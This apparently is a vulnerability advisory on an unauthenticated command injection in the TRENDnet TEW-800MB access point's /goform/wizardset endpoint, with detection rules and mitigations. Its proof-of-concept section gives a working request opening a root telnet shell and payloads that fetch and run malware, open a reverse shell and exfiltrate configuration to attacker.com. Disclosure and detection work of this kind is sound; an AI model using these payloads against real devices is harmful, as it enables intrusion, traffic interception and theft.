CVE-2025-15136: TRENDnet TEW-800MB Command Injection Vulnerability

Aegiron 9 mins0

Executive Summary

  • CVE ID: CVE-2025-15136
  • Product: TRENDnet TEW-800MB (300Mbps Wireless N Access Point)
  • Affected Firmware: 1.0.1.0
  • Vulnerability Type: OS Command Injection
  • Attack Vector: Network (Remote)
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • CVSS v3.1 Score: 9.8 – Critical
  • Severity: Critical
  • Exploitability: High
  • Exploit Availability: Public exploit code available
  • Authentication Required: No
  • Vendor Response: No response received

This vulnerability allows unauthenticated remote attackers to execute arbitrary system commands with root privileges on affected TRENDnet TEW-800MB devices. Due to public exploit availability and lack of vendor remediation, this issue presents an immediate and severe risk.

Vulnerability Overview

CVE-2025-15136 affects the web-based management interface of the TRENDnet TEW-800MB router. The flaw resides in the initial setup wizard functionality, specifically in how the device processes user-supplied input through the WizardConfigured parameter.

The router fails to validate or sanitize this parameter before passing it to system-level command execution routines. As a result, attackers can inject shell commands that are executed directly by the underlying Linux operating system running on the device.

Because the management service operates with root privileges, successful exploitation results in full device compromise.

Affected Products

  • Vendor: TRENDnet
  • Model: TEW-800MB
  • Firmware Version: 1.0.1.0
  • Component: Management Interface (Web Administration Panel)
  • Endpoint: /goform/wizardset
  • Function: do_setWizard_asp

No other firmware versions have been confirmed as patched at the time of writing.

Technical Details

Root Cause Analysis

The vulnerability is caused by improper input validation in the wizard configuration handler. The WizardConfigured parameter is expected to contain simple configuration values indicating whether the setup wizard has completed. Instead, it accepts arbitrary strings without filtering dangerous characters.

The vulnerable function directly passes user input to a system command without escaping shell metacharacters. This allows attackers to inject additional commands using characters such as:

  • ;
  • |
  • &
  • `
  • $()

How the Vulnerability Works

Internally, the router processes the wizard request in a way that resembles the following logic:

system("configure_wizard --set " + user_input);

If an attacker submits a value such as:

WizardConfigured=1; malicious_command;

The system executes both the intended configuration command and the attacker’s injected command. Because the web server runs with elevated privileges, the injected command executes as root.

Attack Scenario

Step-by-Step Exploitation Flow

  1. Discovery
    Attackers scan for TRENDnet TEW-800MB devices by identifying exposed web interfaces or fingerprinting device responses.
  2. Access
    The attacker sends an HTTP request directly to: http://<router-ip>/goform/wizardset No authentication is required.
  3. Exploitation
    A crafted HTTP POST request is sent with a malicious WizardConfigured value.
  4. Execution
    Injected commands execute immediately on the router.
  5. Post-Exploitation
    Attackers can:
    • Install persistent backdoors
    • Modify DNS settings
    • Exfiltrate configuration and credentials
    • Intercept network traffic
    • Pivot into internal networks
    • Enroll the device into botnets
  6. Persistence
    Startup scripts can be modified so access survives reboots, resulting in permanent compromise.

Proof of Concept (PoC)

Public exploit code is available and confirmed to work.

Example Exploitation Request

POST /goform/wizardset HTTP/1.1
Host: <target-ip>
Content-Type: application/x-www-form-urlencoded

WizardConfigured=1;telnetd -l /bin/sh -p 9999 -b 0.0.0.0;

This payload starts a telnet service with root shell access on port 9999.

Additional Attack Payload Examples

  • Download and execute malware wget http://attacker/malware.sh -O /tmp/m.sh; sh /tmp/m.sh
  • Reverse shell nc attacker.com 4444 -e /bin/sh
  • DNS hijacking echo "nameserver 10.0.0.1" > /etc/resolv.conf
  • Configuration exfiltration cat /etc/config/* | nc attacker.com 5555

The public availability of these payloads dramatically increases exploitation likelihood.

Detection and Monitoring

Network-Based Detection

Monitor for:

  • HTTP POST requests to /goform/wizardset
  • Shell metacharacters in request parameters
  • Suspicious command keywords: wget, curl, nc, telnetd, sh, bash, chmod, echo
  • URL-encoded or hex-encoded payloads
  • Abnormal outbound connections from router IPs
  • Unexpected DNS changes or new listening ports

Host-Based Detection

If router logs are accessible:

  • Monitor child processes spawned by the web server
  • Watch for file creation in /tmp
  • Track changes to startup scripts
  • Alert on configuration file modifications

Log Sources Required

  • Firewall / IDS / IPS logs
  • Router system logs (if enabled)
  • Network flow logs (NetFlow / IPFIX)
  • SIEM correlation across HTTP, DNS, and outbound traffic

Detection Rules

Generic IDS Rule (Example)

alert tcp any any -> any 80 (
msg:"Possible CVE-2025-15136 TRENDnet Command Injection";
flow:to_server,established;
content:"POST"; http_method;
content:"/goform/wizardset"; http_uri;
content:"WizardConfigured="; http_client_body;
pcre:"/WizardConfigured=[^&]*[;|`$()]/i";
classtype:web-application-attack;
sid:10000001;
rev:1;
)

SIEM / Splunk Detection

index=web_logs uri="/goform/wizardset"
| search WizardConfigured=* AND (WizardConfigured=*;* OR WizardConfigured=*|* OR WizardConfigured=*`* OR WizardConfigured=*$*)
| eval severity="critical"

Mitigation and Remediation

Immediate Actions

  • Block external access to router management interfaces
  • Disable remote management if enabled
  • Restrict admin access to trusted IPs only
  • Deploy IDS/IPS rules to block exploit patterns
  • Monitor outbound traffic from router devices

Long-Term Remediation

Official Patch Status

  • No security patch released
  • No advisory published
  • Vendor did not acknowledge disclosure

Official Patch Source (If Released)

Recommended Compensating Controls

  • Replace the device with a supported alternative
  • Apply virtual patching via IPS/WAF
  • Implement strict egress filtering
  • Isolate devices into low-trust network segments

Risk Assessment

Likelihood of Exploitation: Very High

  • Public exploit available
  • No authentication required
  • Internet-exposed devices easily discoverable

Business Impact: High to Critical

  • Full network compromise
  • Traffic interception and manipulation
  • Botnet participation
  • Compliance violations (PCI-DSS, HIPAA, GDPR)

Vendor Response

TRENDnet was notified during responsible disclosure. No acknowledgment, mitigation guidance, or patch timeline was provided. Due to the severity and lack of response, public disclosure was necessary.

Final Conclusion

CVE-2025-15136 is a severe, easily exploitable, unauthenticated command injection vulnerability that gives attackers full control of affected TRENDnet TEW-800MB devices. The combination of public exploit availability, root-level execution, and vendor inaction places this issue among the highest-risk embedded device vulnerabilities.

Organizations and individuals must act immediately. Where patching is unavailable, device replacement is the safest and most effective solution.

Aegiron

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